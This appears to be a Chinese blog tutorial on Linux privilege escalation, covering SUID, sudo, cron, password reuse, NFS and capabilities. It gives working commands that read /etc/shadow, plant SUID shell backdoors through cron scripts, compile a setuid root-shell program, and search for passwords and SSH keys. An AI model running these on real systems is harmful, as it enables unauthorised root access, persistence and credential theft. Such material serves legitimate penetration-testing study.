Linux提权姿势总结

本文总结Linux环境下权限提升思路、方法,持续更新...

0x00 Mindmap

0x01 SUID提权

1. 简介

SUID是一种特殊权限,可以让调用者在执行过程中暂时获得该文件拥有者的权限。如果可以找到并运行root用户所拥有的SUID的文件,那么就可以在运行该文件的时候获得root用户权限。

2. 漏洞利用

  1. Linux命令查找SUID文件
1
2
3
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
find / -uid 0 -perm -4000 -type f 2>/dev/null
  1. 使用find命令以root权限命令执行

Linux可以使用的命令提权姿势

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#Find
find pentestlab -exec whoami \;

#Vim
vim.tiny /etc/shadow

#awk
awk 'BEGIN{system("whoami")}'

#curl
curl file:///etc/shadow

#Bash
bash -p

#Less
less /etc/passwd

#Nmap
nmap --interactive

0x02 SUDO提权

1. 简介

sudo是linux系统管理指令,允许系统管理员让普通用户执行一些或者全部的root命令,如halt,reboot,su等等。sudo不是对shell的一个代替,它是面向每个命令的。

它的特性主要有这样几点:

  • sudo能够限制用户只在某台主机上运行某些命令。
  • sudo提供了丰富的日志,详细地记录了每个用户干了什么。它能够将日志传到中心主机或者日志服务器。
  • sudo使用时间戳文件来执行类似的“检票”系统。当用户调用sudo并且输入它的密码时,用户获得了一张存活期为5分钟的票(这个值可以在编译的时候改变)。
  • sudo的配置文件是sudoers文件,它允许系统管理员集中的管理用户的使用权限和使用的主机。它所存放的位置默认是在/etc/sudoers,属性必须为0440。

2. 漏洞利用

  1. 免密码执行sudo配置

linux ALL=(ALL) ALL
说明:linux用户可以从 ALL终端作为 ALL(任意)用户执行,并运行 ALL(任意)命令。

  1. 查看sudo权限
1
2
3
4
5
grep -v -E "^#" /etc/passwd 2>/dev/null| awk -F: '$3 == 0 { print $1}' 2>/dev/null

grep -v -e '^$' /etc/sudoers 2>/dev/null |grep -v "#" 2>/dev/null

echo '' | sudo -S -l -k 2>/dev/null

0x03 计划任务提权

1. 简介

如果未正确配置Cron,则可以利用它获得root特权。

  1. cron作业中是否有可写的脚本或二进制文件?
  2. 我们可以覆盖cron文件本身吗?
  3. cron.d目录可写吗?

Cron通常以root特权运行。如果我们可以成功修改cron中的任何脚本或二进制文件,那么我们可以使用root权限执行任意代码。

2. 漏洞利用

  1. 查看计划任务,找到有修改权限的计划任务脚本

    1
    2
    ls -l /etc/cron*
    more /etc/crontab
  2. 在mysqlback.sh 添加 SUID shell后门,当定时任务以root再次执行的时候,可以获取root权限

    1
    2
    cp /bin/bash /tmp/shell
    chmod u+s /tmp/shell

0x04 密码复用提权

1. 简介

如数据库、后台 web 密码,其他配置文件出现的密码,可能就是 root 密码

2. 漏洞利用

  • 检查弱密码
  • 检查Web服务器连接到数据库的文件(config.php或类似文件)
  • 检查数据库以获取可能被重用的管理员密码
1
2
3
4
5
6
7
8
9
10
11
12
13
grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null

find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;

strings /dev/mem -n10 | grep -i PASS

locate password | more

find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"

find / -name authorized_keys 2> /dev/null

find / -name id_rsa 2> /dev/null

0x05 NFS提权

1. 简介

网络文件系统:网络文件系统允许客户端计算机上的用户通过网络挂载共享文件或目录。NFS使用远程过程调用(RPC)在客户端和服务器之间路由请求。
Root Squashing参数阻止对连接到NFS卷的远程root用户具有root访问权限。远程root用户在连接时会分配一个用户“ nfsnobody ”,该用户具有最小的本地权限。如果 no_root_squash 选项开启的话的话”,并为远程用户授予root用户对所连接系统的访问权限。

2. 漏洞利用

  1. 查看配置文件/etc/exports

  2. kali挂载远程目录

  3. 在/tmp/test文件夹下创建c文件

    1
    2
    3
    4
    5
    #include <stdio.h> 
    #include <stdlib.h>
    #include <sys/types.h>
    #include <unistd.h>
    int main() { setuid(0); system("/bin/bash"); return 0; }

    编译

    1
    gcc suid-shell.c -o suid-shell
  4. 回到目标主机/tmp目录下执行suid-shell

1
chmod +s suid-shell
  1. 执行
1
./suid-shell

0x06 Capabilities利用

1. 简介

linux中Capabilities的概念和suid类似,可以让普通用户授予超级用户的能力

Capabilities表

capability名称 描述
CAPAUDITCONTROL 启用和禁用内核审计;改变审计过滤规则;检索审计状态和过滤规则
CAPAUDITREAD 允许通过 multicast netlink 套接字读取审计日志
CAPAUDITWRITE 将记录写入内核审计日志
CAPBLOCKSUSPEND 使用可以阻止系统挂起的特性
CAP_CHOWN 修改文件所有者的权限
CAPDACOVERRIDE 忽略文件的 DAC 访问限制
CAPDACREAD_SEARCH 忽略文件读及目录搜索的 DAC 访问限制
CAP_FOWNER 忽略文件属主 ID 必须和进程用户 ID 相匹配的限制
CAP_FSETID 允许设置文件的 setuid 位
CAPIPCLOCK 允许锁定共享内存片段
CAPIPCOWNER 忽略 IPC 所有权检查
CAP_KILL 允许对不属于自己的进程发送信号
CAP_LEASE 允许修改文件锁的 FL_LEASE 标志
CAPLINUXIMMUTABLE 允许修改文件的 IMMUTABLE 和 APPEND 属性标志
CAPMACADMIN 允许 MAC 配置或状态更改
CAPMACOVERRIDE 忽略文件的 DAC 访问限制
CAP_MKNOD 允许使用 mknod() 系统调用
CAPNETADMIN 允许执行网络管理任务
CAPNETBIND_SERVICE 允许绑定到小于 1024 的端口
CAPNETBROADCAST 允许网络广播和多播访问
CAPNETRAW 允许使用原始套接字
CAP_SETGID 允许改变进程的 GID
CAP_SETFCAP 允许为文件设置任意的 capabilities
CAP_SETPCAP 参考 capabilities man page
CAP_SETUID 允许改变进程的 UID
CAPSYSADMIN 允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等
CAPSYSBOOT 允许重新启动系统
CAPSYSCHROOT 允许使用 chroot() 系统调用
CAPSYSMODULE 允许插入和删除内核模块
CAPSYSNICE 允许提升优先级及设置其他进程的优先级
CAPSYSPACCT 允许执行进程的 BSD 式审计
CAPSYSPTRACE 允许跟踪任何进程
CAPSYSRAWIO 允许直接访问 /devport、/dev/mem、/dev/kmem 及原始块设备
CAPSYSRESOURCE 忽略资源限制
CAPSYSTIME 允许改变系统时钟
CAPSYSTTY_CONFIG 允许配置 TTY 设备
CAP_SYSLOG 允许使用 syslog() 系统调用
CAPWAKEALARM 允许触发一些能唤醒系统的东西(比如 CLOCKBOOTTIMEALARM 计时器)

2. 可用文件查找

1
2
3
4
5
6
7
getcap -r /usr/bin

setcap cap_net_raw+p /bin/*

setcap cap_setuid+ep /usr/bin/*

grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null

可写权限文件查找

1
2
3
find / -writable ! -user `whoami` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null
find / -perm -2 -type f 2>/dev/null
find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null

0xFF 参考资源

Paper

GTFOBins

Exploits

Scripts

Vulnhub